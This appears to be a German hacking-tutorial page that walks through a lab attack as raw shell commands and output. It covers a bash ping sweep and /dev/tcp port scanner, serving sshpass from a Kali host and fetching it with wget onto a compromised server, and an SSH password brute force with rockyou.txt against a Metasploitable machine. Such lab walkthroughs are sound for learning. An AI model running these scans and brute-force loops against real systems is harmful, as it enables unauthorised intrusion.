Hacken lernen
Kali-Linux, Python-Programmierung und mehr...
hans_arsch@firmenserver:~ $ net="192.168.1"; for i in {1..254}; do ping $net.$i -c 1 &> /dev/null && echo "$net.$i is UP"; done; 192.168.1.1 is UP 192.168.1.3 is UP 192.168.1.7 is UP 192.168.1.14 is UP 192.168.1.66 is UP 192.168.1.80 is UP 192.168.1.101 is UP 192.168.1.185 is UP 192.168.1.186 is UP
hans_arsch@firmenserver:~ $ for j in {1..10000}; do timeout 0.1 bash -c "echo >/dev/tcp/192.168.1.1/$j" && echo "$j/tcp open"; done 53/tcp open 80/tcp open
net="192.168.1";
echo "Start scaning $net.1-254"
for i in {1..254}
do
ping $net.$i -c 1 &> /dev/null
if [ $? -eq 0 ]
then
echo "-------------------------------"
echo "$net.$i is UP"
for j in {1..10000}
do
echo -ne "trying port $j \r"
timeout 0.1 bash -c "echo >/dev/tcp/$net.$i/$j" &> /dev/null && echo "$j/tcp open "
done
fi
done
hans_arsch@firmenserver:~ $ ping 192.168.1.1 -c 1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.89 ms --- 192.168.1.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.890/1.890/1.890/0.000 ms hans_arsch@firmenserver:~ $ echo $? 0 hans_arsch@firmenserver:~ $ ping 192.168.1.31 -c 1 PING 192.168.1.31 (192.168.1.31) 56(84) bytes of data. From 192.168.1.14 icmp_seq=1 Destination Host Unreachable --- 192.168.1.31 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms hans_arsch@firmenserver:~ $ echo $? 1 hans_arsch@firmenserver:~ $ ping 192.168.1.311 -c 1 ping: 192.168.1.311: Der Name oder der Dienst ist nicht bekannt hans_arsch@firmenserver:~ $ echo $? 2
hans_arsch@firmenserver:~ $ bash portscan.sh Start scaning 192.168.1.1-254 ------------------------------- 192.168.1.1 is UP 53/tcp open 80/tcp open ------------------------------- 192.168.1.3 is UP 22/tcp open 80/tcp open 3306/tcp open ------------------------------- 192.168.1.7 is UP 22/tcp open ------------------------------- 192.168.1.14 is UP 21/tcp open 22/tcp open 23/tcp open 80/tcp open 139/tcp open 445/tcp open ------------------------------- 192.168.1.66 is UP 80/tcp open 222/tcp open ------------------------------- 192.168.1.80 is UP 21/tcp open 22/tcp open 23/tcp open 25/tcp open 53/tcp open 80/tcp open 111/tcp open 139/tcp open 445/tcp open 512/tcp open 513/tcp open 514/tcp open 1099/tcp open 1524/tcp open 2049/tcp open 2121/tcp open 3306/tcp open 3632/tcp open 5432/tcp open 5900/tcp open 6000/tcp open 6667/tcp open 6697/tcp open 8009/tcp open 8180/tcp open 8787/tcp open ------------------------------- 192.168.1.101 is UP ------------------------------- 192.168.1.185 is UP ------------------------------- 192.168.1.186 is UP 22/tcp open 111/tcp open 2049/tcp open Trying port 10000
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
25897 hans_ar+ 20 0 6464 4436 2384 S 2.0 0.5 1:14.08 bash
31486 root 20 0 8120 3344 2836 R 1.6 0.4 0:00.30 top
17070 mark 20 0 11664 4168 3388 S 0.3 0.4 0:32.27 sshd
20373 mysql 20 0 616960 67004 14512 S 0.3 7.1 0:16.56 mysqld
31708 hans_ar+ 20 0 4588 572 484 S 0.3 0.1 0:00.01 bash
32211 root 20 0 0 0 0 I 0.3 0.0 0:02.17 kworker/1:0
1 root 20 0 9680 5992 4820 S 0.0 0.6 0:09.79 systemd
... Ausgabe gekürzt
root@kali:~# apt-get install sshpass Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: sshpass 0 upgraded, 1 newly installed, 0 to remove and 1503 not upgraded. Need to get 11.3 kB of archives. After this operation, 31.7 kB of additional disk space will be used. Get:1 http://mirror.karneval.cz/pub/linux/kali kali-rolling/main amd64 sshpass amd64 1.06-1 [11.3 kB] Selecting previously unselected package sshpass. (Reading database ... 362474 files and directories currently installed.) Preparing to unpack .../sshpass_1.06-1_amd64.deb ... Unpacking sshpass (1.06-1) ... Setting up sshpass (1.06-1) ... Processing triggers for man-db (2.8.2-1) ... root@kali:~# whereis sshpass sshpass: /usr/bin/sshpass /usr/share/man/man1/sshpass.1.gz root@kali:~# cp /usr/bin/sshpass /var/www/html/ root@kali:~# service apache2 start
hans_arsch@firmenserver:~ $ wget http://192.168.1.186/sshpass --2018-09-14 22:49:34-- http://192.168.1.186/sshpass Verbindungsaufbau zu 192.168.1.186:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 14344 (14K) Wird in »»sshpass«« gespeichert. sshpass 100%[============================================================>] 14,01K --.-KB/s in 0s 2018-09-14 22:49:34 (139 MB/s) - »»sshpass«« gespeichert [14344/14344] hans_arsch@firmenserver:~ $ chmod +x sshpass hans_arsch@firmenserver:~ $ ./sshpass Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters -f filename Take password to use from file -d number Use number as file descriptor for getting password -p password Provide password as argument (security unwise) ... Ausgabe gekürzt At most one of -f, -d, -p or -e should be used
hans_arsch@firmenserver:~ $ ssh 192.168.1.80 The authenticity of host '192.168.1.80 (192.168.1.186)' can't be established. RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.80' (RSA) to the list of known hosts. hans_arsch@192.168.1.80's password: ^C
hans_arsch@firmenserver:~ $ for i in `cat rockyou.txt`; do echo "Trying password '\$i'"; ./sshpass -p $i ssh -l msfadmin 192.168.1.80 2> /dev/null; done; Trying password 'password' Trying password '123456' Trying password 'password1' Trying password 'toor' Trying password 'msfadmin' Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Mon Aug 20 03:06:49 2018 msfadmin@metasploitable:~$